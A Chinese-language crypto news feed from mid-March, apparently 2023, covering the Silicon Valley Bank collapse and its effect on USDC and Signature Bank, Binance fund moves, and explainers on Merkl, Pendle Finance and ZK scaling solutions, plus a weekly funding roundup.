根更新之后都会跟随一个争议期，允许任何人对结果提出质疑。聚合链的奖励分配数据的新 Merkle 根仅在该争议期之后有效。争议可以通过向奖励分发合约发送预定义数量的争议 Token（最可能是 agEUR）来触发。 在争议期间，奖励分发合约的 Merkle 根被冻结到其最后有效版本。争议可以被视为有效，在这种情况下，提出争议的人将获得退款，争议的 Merkle 根将被撤销，或者是无效的。在最后一种情况下，提出争议的人会失去其资金，并且争议期将从头开始重新启动（这意味着被争议的树仍然不被认为是有效的）。争议 Token 、数量和长度可以通过直接查询处理恒奖励的合约来获得。 Merkl 可免费用于流动性提供者索取奖励，在激励者发送激励金额时将收取 3％的维护费用。对于包含某些特定批准令牌的池，可以免除此费用。例如，发送到其中包含 agEUR 或其他 Angle 协议稳定币的奖励池的奖励不收取任何费用。 作为流动性提供者，Merkl 允许用户根据激励者的池子设置分配公式，来自定义自己的资金头寸，以优化在 Uniswap V3 等 AMM 上的回报。 要获得在 Merkl 上列出的奖励，可以直接在 AMM（例如 UniswapV3）上或支持的流动性管理器上提供流动性。在添加流动性时需要做出的主要选择是：资金范围的宽窄、两个 token 之间的分割。 一旦提供了流动性，就不需要额外的步骤来开始接收奖励，将能直接从 Merkl 页面或任何其他集成 Merkl 的应用程序中领取它们。特别是，您不需要在其他任何地方放置您的代币。 项目方如何使用 Merkl 分配激励？ 任何希望激励池的 DAO 或个人都可以使用 Merkl 并自定义其分配以获得所需类型的流动性。进入官网后，您只需填写要激励的矿池地址、奖励代币的地址以及在选定的分配期限内发送的奖励金额。 奖励代币在使用前需要列入白名单，对于列入白名单的代币，需要发送最低金额才能使分配被视为有效。如果您要使用的奖励代币尚未列入白名单，可以在 Angle Discord 服务器的 Merkl 频道给官方留言。 接着自定义任何可以自定义的分配公式参数。完成后，应用程序将提示您签署免责声明消息，然后发布将代币发送到分发合约的交易。持有资金的地址可以根据他们在池中提供流动性的方式在每个纪元结束时领取奖励。 Blockbeats 提醒：由于链上 Merkle 根更新可能会有明显的延迟，并且脚本或用于更新链上结果的基础设施可能存在缺陷，请自行决定是否使用 Merkle。  ( 5 min )
    加拿大监管机构接管SVB加拿大子公司，寻求清盘
    PANews 3月13日消息，据金十报道，加拿大银行业监管机构在周日接管了SVB金融集团在加拿大的分支机构，并表示将寻求法律命令以结束其运营。 加拿大金融机构监管局局长Peter Routledge的办公室在一份声明中表示，在美国监管机构关闭了位于加州的母行后，加拿大采取这一行动是为了保护该分行持有的资产价值。 加拿大财政部长Chrystia Freeland周日晚间与银行高管和加拿大央行官员进行了交谈，并表示政府将继续关注局势，加拿大监管良好的银行体系是健全和有弹性的。  ( 4 min )
    汇丰控股英国子公司以1英镑价格收购硅谷银行英国子公司
    PANews 3月13日消息，据金十报道，汇丰控股宣布，其英国子公司汇丰英国银行有限公司以1英镑收购硅谷银行英国子公司，预计硅谷银行英国子公司的有形资产约为14亿英镑。截至3月10日，硅谷银行英国子公司拥有约55亿欧元的贷款和约67亿英镑的存款，英国央行在一份单独的声明中表示，它促成了这笔交易，客户存款将受到保护，交易中不涉及纳税人的钱。 英国方面表示，硅谷银行英国子公司的客户可以支取存款，银行业务正常。  ( 4 min )
    外媒：摩根大通等洽购SVB金融集团，但不包括硅谷银行资产
    PANews 3月13日消息，据Axios报道，知情人士称，摩根大通和PNC金融服务集团正在就收购硅谷银行的母公司SVB金融集团进行谈判，该交易将不包括SVB目前由美国政府控制的商业银行子公司硅谷银行的资产。 消息人士称，阿波罗管理公司和摩根士丹利（Morgan Stanley）也参与了谈判，并补充称，阿波罗有兴趣为一笔交易提供融资或收购SVB的部分业务。 此前一天有报道称，PNC和加拿大皇家银行曾对收购硅谷银行表示了兴趣，但随着美国监管机构邀请对这家破产银行的竞标，这种兴趣在周日冷却下来。据悉，美国联邦存款保险公司（FDIC）将周日下午定为发出标书的最后期限。今日早些时候消息，汇丰和摩根大通有意收购硅谷银行英国子公司。  ( 4 min )
    美联储救市，USDC、VCs全身而退，但加密行业的“危机”远未解除
    作者 | 黑米 上周，硅谷银行暴雷事件对加密行业产生了重大影响，波及多家大型 Web3 风险投资公司以及第二大稳定币 USDC。加密市场受此影响全线下跌，总市值跌破万亿美元大关，比特币（BTC）一度跌破 2 万美元。 硅谷银行是美国前 20 大银行之一，为许多科技初创公司和风险投资公司提供银行服务。根据 Castle Hill 的一份报告，Web3 风险投资公司在硅谷银行中的存款总计超过 60 亿美元，其中包括来自 a16z 的 28.5 亿美元、来自 Paradigm 的 17.2 亿美元和来自 Pantera Capital 的 5.6 亿美元。 稳定币 USDC 的发行商 Circle 证实，其 400 亿美元的 USDC 储备中有 33 亿美元存在硅谷银行，受此影响，USDC 在上周末开始脱锚。此外，Circle 也在同期破产的加密友好银行Silvergate 中有一笔未公开的存款。随之而来的 Coinbase、Binance 宣布暂停 USDC 与美元、BUSD 的转换，让 USDC 更加雪上加霜，一度跌至 0.87 美元低点。 不过，随着美联储出手采取行动，这一危机似乎暂时化解。 美财政部长珍妮特·耶伦、美联储主席杰罗姆·鲍威尔和联邦存款保险公司（FDIC）主席马丁·格伦伯格发表了联合声明： 今天，我们正在采取果断行动，通过增强公众对我们银行系统的信心来保护美国经济。此步骤将确保美国银行系统继续发挥其重要作用，保护存款并以促进强劲和可持续经济增长的方式为家庭和企业提供信贷渠道。 在收到 FDIC 和美联储的建议并与总统协商后，财政部长耶伦批准采取行动，使 FDIC 能够以充分保护所有储户的方式完成其对硅谷银行的决议。从 3 月 13 日星期一开始，储户将可以使用他们所有的钱。与硅谷银行决议相关的任何损失都不会由纳税人承担。 我们还宣布纽约 Signature Bank 的类似系统性风险情况，该银行今天已被纽约金融服务部关闭。该银行的所有客户都将拿回存款。与硅谷银行决议一样，纳税人不会承担任何损失。 Signature 的股东和某些无担保债务人将不受保护。高级管理人员也被免职。根据法律要求，存款保险基金为支持未投保的存款人而遭受的任何损失，将通过对银行进行特别评估来弥补。 最后，美联储宣布，它将向符合条件的存款机构提供额外资金，以帮助确保银行有能力满足所有存款人的需求。 美国银行体系保持弹性且基础稳固，这在很大程度上归功于金融危机后为确保银行业获得更好保障而进行的改革。这些改革与今天的行动相结合，表明我们承诺采取必要措施确保储户的储蓄安全。 1、硅谷银行储户周一将可以使用“所有”资金 Circle CEO 杰里米·阿莱尔发表声明： 我们很高兴看到美国政府和金融监管机构采取关键措施来减轻部分银行系统带来的风险。硅谷银行的存款是 100% 安全的，将于周一开门营业。 USDC 储备金也是安全的，我们会将在硅谷银行的存款转移到纽约梅隆银行。如前所述，USDC 的流动性操作将在明天早上银行开门时恢复。 在撰写本文时，USDC 在过去 24 小时内上涨了 3.3% 回到 0.99 美元，几乎恢复了锚定汇率。 而更广泛的加密市场似乎也受益于“硅谷银行周一早上开门”的消息，加密货币价格全面飙升，比特币 (BTC)、以太坊 (ETH)、Cardano (ADA)、Polygon (MATIC) 和 Solana (SOL) 等资产在过去 24 小时内分别上涨了 10.6%、11.4%、12.3%、11.7% 和 15.1%。加密市场总市值重回 1 万亿美元上方。 2、Signature Bank 被关闭 在美国，只有三家对加密友好（承接加密业务）的银行，Silvergate、Signature 和 Metropolitan。 作为唯一一家拥有 24/7 全天候法定货币和加密货币交易网络（SEN）的加密银行，由于大客户之一的加密货币交易平台 FTX 的暴雷，再加之风险管理不善，Silvergate 在上周的银行挤兑危机中未能幸免。 今年 1 月，由于来自 Operation Chokepoint 2.0的监管压力，Metropolitan Bank 宣布退出加密行业。（最初的“Operation Chokepoint”行动是对美国监管机构认为的高风险公司的联合打击。通过向银行业施压，要求其停止与特定行业的公司开展业务，让公司彻底边缘化。2.0 是加密社区起的术语，指代在过去几个月内，美国的所有金融监管机构都在攻击加密业务，似乎并没有兴趣监督加密货币，而是为了关闭它。） 这使得 Signature 在上周成为了大多数加密公司的唯一可行选择，许多Silvergate的顶级客户都转向了该银行。 就像我们前几天在文章中解构Silvergate 破产原因所说的那样，如果 Silvergate 正式崩溃，监管机构和政客将有“加密威胁银行业”的借口来打击 Signature 和其他剩余的加密友好银行。 纽约金融服务部昨日关闭了 Signature，以“系统性风险”和“保护储户”为由。FDIC被任命为这家银行的接管人，保证全额返还客户的存款。 Coinbase 发布推文称，截至 3 月 10 日，它在 Signature 拥有约 2.4 亿美元的现金，同时指出预计将完全收回这些资金。 稳定币BUSD 的发行商 Paxos 表示，目前其在 Signature Bank 拥有 2.5 亿美元的现金。 Circle 此前一直通过 Signature 的 SigNet 网络处理 USDC 铸造和赎回，在后者被关闭后，Circle 将暂时“依赖纽约梅隆银行的结算”，并与Cross River 银行达成合作，提供 USDC自动铸造和赎回功能。 Circle CEO杰里米·阿莱尔： 随着今晚宣布关闭 Signature 银行，我们将无法通过 SigNet 处理铸造和赎回，我们将依靠纽约梅隆银行的结算。此外，我们将尽快引入一个具有自动铸造和赎回功能的新交易银行合作伙伴。我们致力于以最高质量和透明度建立稳健和自动化的 USDC 结算和储备操作。 （撰写本文时发推）Circle 的 USDC 业务将于周一早上开始营业，包括通过我们与 Cross River Bank 的新合作伙伴关系实现了新的自动结算。 在上一篇文章中，我们分析了，加密公司弃“Silvergate”转“Signature”并不是最优解。 首先，对于 USDC 以及其他加密公司来说，不能保证其他的加密友好银行是否能够长久运营，而不受监管机构审查和打击，Signature 就是一个深刻的例子。更何况今年年初时，美联储等多家监管机构已经就“加密货币风险”向银行业发出示警。这可能会导致银行业对加密行业失去“信心”，也可能会对其他金融机构产生连锁反应。 其次，像 SEN 这样的全天候法币-加密货币交换网络对于加密市场的正常运行是必要的，在促进大投资者和加密货币交易平台之间的资金转移方面发挥了至关重要的作用。没有它，机构很难进出加密行业。更重要的是，没有它，资金流向银行受限于营业时间，这对于 24/7 全天候交易的加密市场来说，将会是一场“灾难”。 ​Signature 的SigNet 网络曾是 SEN 的替代方案之一，但随着Signature 的关闭而下线。上周，加密货币支付提供商 BCB Group 的首席执行官宣布，该公司正在研究 SEN 的替代品，希望在今年第二季度启动并运行这一替代品。预计会成为大型投资者和加密货币之间新的主要进出渠道。 借着惊心动魄的硅谷银行危机，Circle CEO 阿莱尔重申了自己的稳定币“愿景”： 我们长期以来一直提倡全额准备金数字货币银行业务，将我们的“互联网货币”和支付系统的基础层与部分准备金银行业务风险隔离开来。 事实上，《支付稳定币法案》仍然是国会非常积极的追求，它将在法律中规定一种制度，在该制度下，稳定币资金将在美联储和短期国库券中以现金形式持有。如果我们想要一个真正安全的金融体系，我们现在比以往任何时候都更需要这部法律。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 5 min )
    Stargate基金会建议DAO不要重新发行STG代币，否则FTX清算人或将寻求赔偿
    PANews 3月13日消息，基于LayerZero的跨链流动性协议Stargate发推称Stargate基金会建议DAO不要重新发行STG代币。FTX清算人近期表示，如果重新发行并转移资金，将违反自动中止条款，并将积极寻求赔偿。经与律师沟通后，FTX清算人认为代币已经在其钱包中并无需采取任何行动，以及代币将在3月17日一次性被领走。尽管Stargate基金会称其认为FTX清算人的观点这是错误的，且没有迹象表明FTX清算人对智能合约的实际情况、运作方式以及如何与合约互动以确保资金安全有深刻认知。 推文中提及，LayerZero Labs已表示，他们明确保留在任何时候采取任何和所有法律行动的权利，并行使合同协议授权或允许的任何和所有补救措施。它们重申，假设其成功并在法庭上获胜，代币将以成本价转移给Stargate DAO。据悉，LayerZero Labs联合创始人兼首席执行官Bryan Pellegrino曾于11月10日发布了一份备忘录，指出LayerZero Labs已签署协议，从FTX/Alemda回购STG代币。 根据此前的社区提案，此前Alameda于2022年3月从Stargate的社区销售中购买了占STG总供应量10%的代币，并承诺将锁仓至2025年3月，但StargateDAO发现Alameda Research的安全漏洞可能会导致协议拥有的流动性和代币持有人安全性面临“重大威胁，且最近Alameda钱包的链上转移表明，Alameda并没有完全控制其钱包，存在正在非法转移资金的情况。因此社区提议于3月15日重新发行STG代币，以消除Alamada所持代币被非法转移的风险，该提案于2月6日获得投票通过。  ( 4 min )
    数据：约9.85亿枚BUSD从币安行业复苏基金转移到币安
    PANews 3月13日消息，Whale Alert监测数据显示，985,088,975枚BUSD（约合981,641,163美元）从币安行业复苏基金转移到币安。 此前今日早些时候消息，赵长鹏表示，将把行业复苏基金内剩余资产从BUSD换为BTC、BNB和ETH等。  ( 4 min )
    “雷曼警报”解除：美联储出手救助硅谷银行，USDC回锚至0.99美元附近
    原文：《一夜变天：美联储出手救市 USDC危机解除 加密友好银行 Signature 被关闭》 吴说作者：Colin Wu 随着美联储出手，市场出现了翻天覆地的变化。 财政部、美联储和 FDIC 发布联合声明， 全文： 今天，我们正在采取果断行动，通过增强公众对我们银行系统的信心来保护美国经济。此步骤将确保美国银行系统继续发挥其重要作用，保护存款并以促进强劲和可持续经济增长的方式为家庭和企业提供信贷渠道。 在收到 FDIC 和美联储董事会的建议并与总统协商后，耶伦批准采取行动，使 FDIC 能够以充分保护所有储户的方式完成其对加利福尼亚州圣克拉拉硅谷银行的决议。从 3 月 13 日星期一开始，储户将可以使用他们所有的钱。与硅谷银行的决议相关的损失不会由纳税人承担。 我们还宣布纽约 Signature Bank 的类似系统性风险例外情况，该银行今天已被其州特许机构关闭。该机构的所有存款人都将完整收回。与硅谷银行的决议一样，纳税人不会承担任何损失。 股东和某些无担保债务人将不受保护。高级管理人员也已被免职。根据法律要求，存款保险基金为支持未投保的存款人而遭受的任何损失，将通过对银行进行特别评估来弥补。 最后，美国联邦储备委员会周日宣布，它将向符合条件的存款机构提供额外资金，以帮助确保银行有能力满足所有存款人的需求。 美国银行体系保持弹性且基础稳固，这在很大程度上归功于金融危机后为确保银行业获得更好保障而进行的改革。这些改革与今天的行动相结合，表明我们承诺采取必要措施确保储户的储蓄安全。 阅读原文： https://www.federalreserve.gov/newsevents/pressreleases/monetary20230312b.htm 随后 USDC 已恢复锚定至 0.99，USDC 的危机似乎已经解除。 Circle 声明： 我们很高兴看到美国政府和金融监管机构采取关键措施来减轻部分银行系统带来的风险。来自 SVB 的 100% 存款是安全的，将于明天开门营业。100% 的 USDC 储备金也是安全可靠的，我们将完成将剩余的 SVB 现金转移到 BNY Mellon。如前所述，USDC 的流动性操作将在明天早上银行开门时恢复。随着今晚宣布关闭 Signature 银行，我们将无法通过 SigNet 处理铸造和赎回，我们将依靠纽约梅隆银行的结算。我们最快明天将引入一个具有自动铸造和赎回功能的新交易银行合作伙伴。我们致力于以最高质量和透明度建立稳健和自动化的 USDC 结算和储备操作。我们长期以来一直提倡全额准备金数字货币银行业务，将我们的互联网货币和支付系统的基础层与部分准备金银行业务风险隔离开来。事实上，《支付稳定币法案》仍然是国会非常积极的追求，它将在法律中规定一种制度，在该制度下，稳定币资金将在美联储和短期国库券中以现金形式持有。如果我们想要一个真正安全的金融体系，我们现在比以往任何时候都更需要这部法律。 Coinbase 发表声明，尽管我们最近在传统银行业看到了动荡，但 Coinbase 继续照常运营。在 Coinbase，所有客户资金继续安全且可访问，包括将于周一恢复的 USDC 转换。所有客户在银行的现金继续受到 FDIC 转手保险的保护。由于 FDIC 暂停 Signature 的交易，我们目前正在为所有客户与其他银行合作伙伴的现金交易提供便利。 CZ 表示了批评观点：一旦你做了一次救助，你就会陷入进退两难的境地。通过稀释所有公民来“保护消费者”。如果你进行救助，那么银行管理风险的动力为零。当你失败时，你会得到救助。救助鼓励承担越来越大的风险，这需要更多的救助。 对The Block 主编 Frank Chaparro 说，随着 SIGNATURE BANK 加密友好银行被关闭，Crypto 的资本市场基本上回到了 2014 年之前。任何新成立的公司都没有机会获得银行关系。在许多方面，加密货币已经正式成为无银行账户。这将使加密货币公司的银行业务状况变得异常困难绝对残酷。据彭博社，一位熟悉公司运营的人士表示，将 Signature 置于破产管理程序的决定令其管理人员感到意外，他们在公告发布前不久就发现了这一消息。该银行周五面临大量存款外流，但到周日情况已经稳定下来，该人士因讨论私人问题而要求不具名。 本轮救助之后，CME FedWatch Tool 显示 9 天之后的美联储 FOMC 加息 50bps 的预测已经从1天前的 40%，跌到 17.4%；82.6% 概率为加息 25bps。周二美国将公布 2 月 CPI ，这将彻底决定此次加息的幅度。  ( 4 min )
    5分钟读懂Pendle Finance：一个小而美的DeFi收益交易协议
    一、项目简介 Pendle Finance是一款部署在Ethereum 和Arbitrum上的DeFi收益交易（Yield Trading）协议。Yield trading可能难以理解，简单说Pendle是一个能让用户实现以下几点的DeFi协议： Pendle Finance通过将DeFi上的生息资产拆分成PT（本金代币）和YT（收益代币）来实现上述功能 Pendle项目方写了一个通俗易懂的教程来解释PT、YT以及他们存在的意义，教程写得非常好，有耐心的可以直接点链接看一下：https://app.pendle.finance/pro/learn 如果你是金融专业的朋友，一句话解释PT、YT的原理：PT约等于一个零息国债（Zero coupon bond），YT约等于一个利率互换协议（Interest swap） 如果觉得官方教程太长不看的话，可以看看我下面写的原理，尽量零基础让你看懂。 生息资产： 首先前面提到了一个概念——生息资产 Pendle这个协议所有的底层资产都是生息资产，什么是生息资产呢？最近上海升级大家都有接触到的stETH、你存在AAVE里得到的aUSDC，你存在Compound里的cDAI，都属于生息资产。 比如你在Lido质押了1ETH得到了1stETH，当前质押收益为5%，那么这1stETH一年后会变成1.05stETH，在这个例子里，你的本金是1stETH，利息是0.05stETH. PT,YT： 于是Pendle把本金1stETH打包成PT ，收益0.05stETH打包成YT。 看到这你可能会疑问，这么做有什么意义？ 1stETH本金打包的PT的实质是:你持有这个PT，那么你一年后可以拿到1stETH 0.05stETH的未来收益打包的PY的实质是：你持有这个PY，那么你一年后可以拿到1stETH本金对应的收益 1PT stETH的价格会小于1stETH，因为1PT stETH一年后才能拿到1stETH 所以假设你把PT拿到市场上去卖，卖出的价格可能是0.96stETH，相对应的YT你就会定价为0.04stETH （PT+YT=1stETH，否则你可以无风险套利） 当你把PT  YT放到市场上交易的时候，有趣的事情发生了。 PT对于买家来说，就像是stETH在打折出售，只不过要等一年后才能拿到stETH。 YT对于买家来说，就是在赌stETH收益率的变化，在质押收益为5%的预期下，YT的定价是0.04stETH，但总会有人预期未来stETH的质押收益会上升，那么他就会购买YT，如果收益率变成了6%，那么YT一年后可以获得0.06st ETH。 实际案例： 上图是一个到期时间为一年后的PT stETH和PT stETH。其中PT的价格为0.957stETH，YT的价格为0.043stETH。YT的implied APY为4.5%（implied APY为通过价格倒推的APY数据），意思是市场普遍认为YT对应的年化收益为4.5% 。这时候有个用户他预期未来收益率会上升，比如上升到5.5%，那么他就会买入YT，因为他认为YT现在被低估了。所以这个用户的操作在做多收益率，相应的YT的卖家在做空收益率。 1、DeFi行业发展生息资产种类增多的正向飞轮效应 Pendle是一个2021年就上线的“老牌”DeFi协议，但之前一直不温不火。TVL更是在2022年一路下滑，但在2022年底又开始高速增长，其中一个很关键的点就在于上海升级带火了LSD板块。 前面提到了，Pendle的协议都是基于生息资产来拓展的，在Pendle上线的2021年，生息资产无非就是围绕借贷协议、DEX而出现的aToken、cToken或者LP，能玩的东西有限。而以太坊 Merge之后出现的POS质押概念，让LSD质押套娃板块让生息资产的种类和体量变得更多和更大了。Pendle也在2022年下半年推出了一系列围绕ETH LSD相关的收益策略，让其TVL高速增长。而即将到来的上海升级想必将进一步推动其TVL增长。 2、简单的就是好的 区别于大多数复杂的DeFi协议，Pendle虽然创新了PT,YT的玩法，但他们并不想把产品做的太过复杂。毕竟利率互换、零息债券这些东西，离用户实在是远了点。 要使用Pendle的产品，你甚至不需要理解他的最基本的PT和YT的原理，Pendle的前端界面是这样的： 在其Simple版本的前端中，用户只需要知道可以通过协议来折价购买ETH即可，不需要理解其背后的本质是在交易PT。 不过有句老话“如果你不知道收益来源于哪里的话？那么你就是收益” 所以点击相应的策略之后，界面的右边直接展示了FAQ，简单介绍了用户最关心的几个问题。 并且正如我前面介绍原理时所说，Pendle所撰写的原理教程，可谓币圈罕见，抽丝剥茧般为你展现其项目原理，只要有基本的DEFI知识的用户都能看懂。Pendle的原理教程文档是我写这篇文章的最核心原因，因为在币圈这个鱼龙混杂的大染缸里，读到好的文档真的是一种享受。 3、真实收益 在代币经济学上，Pendle参考了Curve的VE模型，并且将协议收入全部分配给vePendle的Holder，相当于协议的TVL越高，收取的管理费越多，Holder的收益越大。 单从创新的角度来说，Pendle的这套机制其实并不新颖，但Pendle的亮点在于将一款原理复杂的产品尽可能的包装的让人简单易懂，便于操作。**这是我在很多，特别是最近出现的DeFi协议上没有看到的。 随着行业的发展DeFi协议的可组合性催生了各种各样的套娃产品。但再好再复杂的产品也是需要人来使用的，很多DeFi协议光是点进去后的操作界面就让人一头雾水，不在其文档里泡上几个小时你很难学会使用。 DeFi的初衷之一就是让普通人也有机会能够低成本的接触金融，但DeFi正逐渐向着复杂化高门槛的方向发展。（相关阅读：《浅析Pendle Finance：3个月3倍，如何讲述LSD叙事？》）  ( 4 min )
    赵长鹏：将把行业复苏基金内剩余资产从BUSD换为BTC、BNB和ETH等
    PANews 3月13日消息，币安首席执行官赵长鹏发推称，考虑到稳定币和银行的变化，币安将把剩余的10亿美元行业复苏计划资金从BUSD兑换为原生加密货币，包括BTC、BNB和ETH。一些资金流动将发生在链上，以确保透明度。  ( 4 min )
    高盛：因为硅谷银行危机，美联储3月不会再加息
    来源：华尔街见闻 作者：常嘉帅 硅谷银行爆雷短短几天，市场情绪急转直下，美联储加息预期迅速降温，高盛甚至第一个喊出3月不加息。 高盛在最新发布的报告中指出，硅谷银行风波让鲍威尔意识到了加息对美国银行系统的压力，因此，预计美联储不会3月FOMC会议上加息。但同时，考虑到3月后，美国经济前景依然存在相当大的不确定性，维持美联储将在5月、6月和7月加息25个基点的预期不变，预计终端利率较此前下降25个基点至5.25-5.5%。 华尔街见闻此前提及，“新美联储通讯社”Nick Timiraos认为，硅谷银行倒闭引发的风波却大幅打消了市场对于50基点加息的预期。芝商所美联储观察工具显示，市场认为，3月加息50基点的概率已经从上周四的70%降至0，加息25基点的概率升至95%，维持利率不变的概率则升至5%。 同时，市场正押注硅谷银行、Silvergate和Signature三家银行的倒闭将使美联储大幅放缓加息，2年期美债收益率3天内跌超50个基点。华尔街定价联邦基金利率最后将升至5.1%-5.7%的区间。 不过，小摩认为，既然联储有决心动用金融工具BTFP救市，也同样有决心继续加息以遏制通胀风险。因此，小摩预计联储仍会在下周会议上加息25个基点。  ( 4 min )
    浅析3种ZK扩容方案：ZK-rollup、Validium和Volitions
    原文：《Volitions：在ZK-rollup和Validium之间做选择的零知识证明方案》 作者：Chloe 目前以太坊基于零知识证明的扩容方案是ZK-rollup，但其实还有另外两种解决方案——Validium和Volitions。 本文简单介绍以上3种基于零知识证明的扩容方案。 ZK rollup ZK-rollup的运作简单来说是将多笔交易打包在一起，发布到L1上，同时发布一个证明（用零知识证明技术）来声称这些交易有效，一旦在L1上验证确实有效，那么zk-rollup的状态就会更新。 这套证明机制也被称作「有效性证明」，目前ZK-rollup主要采用的证明机制是zkSNARK和zkSTARK。 尤其是zk-SNARK应用最为广泛，而zk-SNARK则是它的改进版，目前使用者并不多。 zk-SNARK即zero-knowledge succinct non-interactive argument on knowledge（简洁非交互式零知识证明），是一种文件很小且很容易验证的加密证明，而简洁jiu就在于非交互式。 传统方案是交互式证明，即示证者和验证者之间反复确认。你可以理解为示证者不断向验证者询问“是或不是？”，然后验证者不断给出回答，直到最后碰出一个正确答案来，所以效率很低。 而SNARK的解决方案是提前先搞一个“可信初始化”，从而生成公共参考字符串（CRS），这样所有的示证者直接访问它就可以了。你可以理解为有一个标准答案，示证者就像批改试卷那样去验证。 但SNARK提前生成公共参考字符串提高了效率，但也留下了隐患——万一公共参考字符串泄漏了呢？于是就催生出了STARK。 STARK是交互式证明，但它是一种巧妙的交互式证明——通过哈希函数碰撞（一种概率证明的方式）来保证安全性，因此也比较高效（但还是没有SNARK高效）。 ZK-rollup是将交易分批发送到L1上去执行，是一种无需信任的「自定义安全性」。 Validiums则是直接在链下执行，并通过零知识证明来维护数据，只有需要的时候才在主网上验证取款请求的有效性证明。 所以Validiums可扩展性要高于ZK-rollup（目前最高的TPS可以达到20000以上），但它是把信任交给链外第三方的「弱信任扩容」，会被攻击导致数据不可用或者用户无法取出资金。 解决安全的方式是采用PoS机制，用经济激励来确保数据储存在各个节点之中并且随时可用。 目前采用Validiums方案的代表项目是Immutable X，以NFT为中心的扩展解决方案。 Vitalik认为Validiums其实被严重低估，因为大多数Dapp用Validiums就已经可以满足运行需求了。 StarkWare团队结合ZK-rollup和validium，创造性地推出了Volitions方案，顾名思义是关于「决断能力」。 Volitions方案本质上是同时提供ZK-rollup和validium这两种服务，它们共享同一个状态根（state root），用户可以自行选择每笔交易的DA模式。即便Validium那部分被攻破，ZK-rollup上的资金仍然安全。 用户就可以在涉及重要资金往来时选择ZK-rollup模式，共享以太坊的安全性，如果是日常娱乐、社交或者小额交易，自然选择Validium模式来提高速度并节省成本。 以太坊扩容战争还在刚开始，目前占据优势的是Optimistic rollups阵营，它们可以做到EVM兼容甚至完全等效，另外社区运营能力也非常强劲。 ZK-rollup落于下风很大程度上是因为一开始就要定制VM，这意味着来自EVM的代码要从头开始编写（虽然难度已经越来越低了）。 不过长远来看，相比于Optimistic rollups，ZK rollups具有内置的隐私和安全优势，未来实现EVM兼容性，很可能胜过Optimistic rollups。 而且可以在ZK-rollup和validium之间做决断的Volitions方案，也不失为一种兼顾了各种场景的解决方案。  ( 4 min )
    报告：币安2月现货交易量达5400亿美元，市场份额创新高
    PANews 3月13日消息，CryptoCompare近日发布的交易所月度报告显示，币安的现货市场份额从1月份的59.4%增加到2月份的61.8%。币安的现货交易量增长13.7%，达到5400亿美元，创下该交易所的历史最高市场份额。据悉，币安已连续第四个月扩大其在加密货币交易平台的现货市场份额。 报告称，2月份，币安在衍生品交易所的市场份额也有所增长，升至62.9%，创下有史以来最高的月度市场份额记录。  ( 4 min )
    Aztec Connect将于明年3月21日正式关闭，用户有一年的免费取款期
    PANews 3月13日消息，以太坊二层隐私解决方案Aztec Network在官方博客中宣布，DeFi隐私桥项目Aztec Connect将逐步关闭，用户将继续能够在一年内免费取款。Aztec Connect的排序器（Sequencer）将慢慢减少退出的rollup总块的频率，最终退出日期大约一年后：2024年3月21日。该项目团队称，虽然提款始终是可能的，但在2024年3月2 日之后，提款的费用将明显增加，因此建议用户尽快提款。 具体安排如下：1.3月13日至3月21日，Aztec Connect正常运行；2.北京时间3月21日22:00起，存款将被禁用；3.一年时间的提现窗口：2023年3月13日- 2024年3月21日；4.2024年3月21日：从Aztec排序器发送的最后一个Aztec rollup；5.2024 年3月21日起：用户将不得不运行提现软件或依赖社区运行的测序仪。 Aztec Network表示，其中长期重点将集中在两大产品的开发上，即零知识证明语言Noir和下一代加密区块链，这两个产品将相互兼容、相互关联。  ( 4 min )
    融资周报 | 公开融资事件27起；以太坊扩容项目Scroll以18亿美元估值完成5000万美元融资
    本期看点 据 PANews 不完全统计，上周（3.6-3.12）全球区块链有27起投融资事件，与前一周相比略有减少；融资总规模约2.84亿美元，与前一周相比大幅增加，概览如下: 下面我们一起来全盘回顾上周的投融资事件。 以合规为中心的DEX Mauve完成1500万美元融资，Coinbase Ventures等参投 去中心化金融提供合规和身份基础设施 Violet 推出了以合规为重点的去中心化交易所 Mauve。Coinbase Ventures 和 Brevan Howard 加入了 DEX（Mauve） 的 1500 万美元融资轮。Ethereal Ventures、BlueYard Capital 和 Balderton 是其他支持者。Violet 计划利用筹集的资金加速 Mauve 的全球采用。 稳定币发行公司Gyroscope完成450万美元种子轮融资，即将推出GYD稳定币 稳定币加密初创公司 Gyroscope 完成 450 万美元种子轮融资，Placeholder VC 和 Galaxy Ventures 共同领投，Maven 11，Archetype，Robot Ventures，Balancer Labs 联合创始人兼首席执行官 Fernando Martinelli 等参投。Gyroscope 联合创始人 Lewis Gudgeon 表示，该轮融资于 2022 年 1 月结束，现在将其公开，因为该协议的代码库已基本完成，并且正在为全面启动做准备。其稳定币 GYD（gyro dollar）的设计机制采用“全天候储备”，即储备中的一项资产出现问题，只会影响储备的有限部分，而不是全部。 稳定币发行商ECSA完成300万美元种子前融资，YC等参投 总部位于巴西的稳定币发行商ECSA筹集了 300 万美元，将主要的套利货币上链。该轮种子前融资得到了包括创业加速器 Y Combinator 和 Arca 在内的投资者的参与。ECSA 将从将巴西雷亚尔上链开始。其 BRLe 稳定币以巴西国库券为抵押，由巴西最大的私营银行 Itau-Unibanco 保管。最近筹集的资金将用于扩大其稳定币在投资者、交易所和支付处理商中的足迹。“BRLe 目前在 Stellar 网络上发行，并且正在以太坊 ERC-20 上发行，”ECSA 的联合创始人 Rodrigo Marino 在新闻稿中说。“ECSA 将提供做市解决方案，以确保 BRLe 的流动性，使其更容易与 USDc 和 USDt 等其他代币互换。” \Web3初创公司nealthy完成130万美元pre-seed轮融资 投资NFT和加密货币的Web3初创公司nealthy宣布完成130万美元pre-seed轮融资，“DonGeraldo”等天使投资人参投。nealthy 的创始人将利用这些资金来发展核心团队、聘请人才并促进销售和发展。nealthy通过区块链技术处理交易并提供指数代币，使投资者能够快速、无忧地进入Web3市场，该指数代币通过存储多种虚拟资产“复制”了传统ETF结构。此外，nealthy还推出了首个动态蓝筹NFT代币“NFTS” ，预计在2023年夏季发布。 Believer完成5500万美元融资，Lightspeed领投，a16z等参投 《英雄联盟》母公司Riot Games 前高管 Michael Chow 和 Steven Snow 创立的游戏初创公司 Believer 完成 5500 万美元融资，Lightspeed Venture Partners 领投，参投方包括 Andreessen Horowitz（a16z）、Bitkraft Ventures、Riot Games、1Up Ventures、Don Thompson 的 Cleveland Avenue 和 Michael D. 等。Believer 将首先开发原创 IP、叙事以及技术游戏。Believer 创始人表示，不太可能在 3-5 年内推出任何产品。Steven Snow 称该公司希望利用生成式 AI 做更多事情。 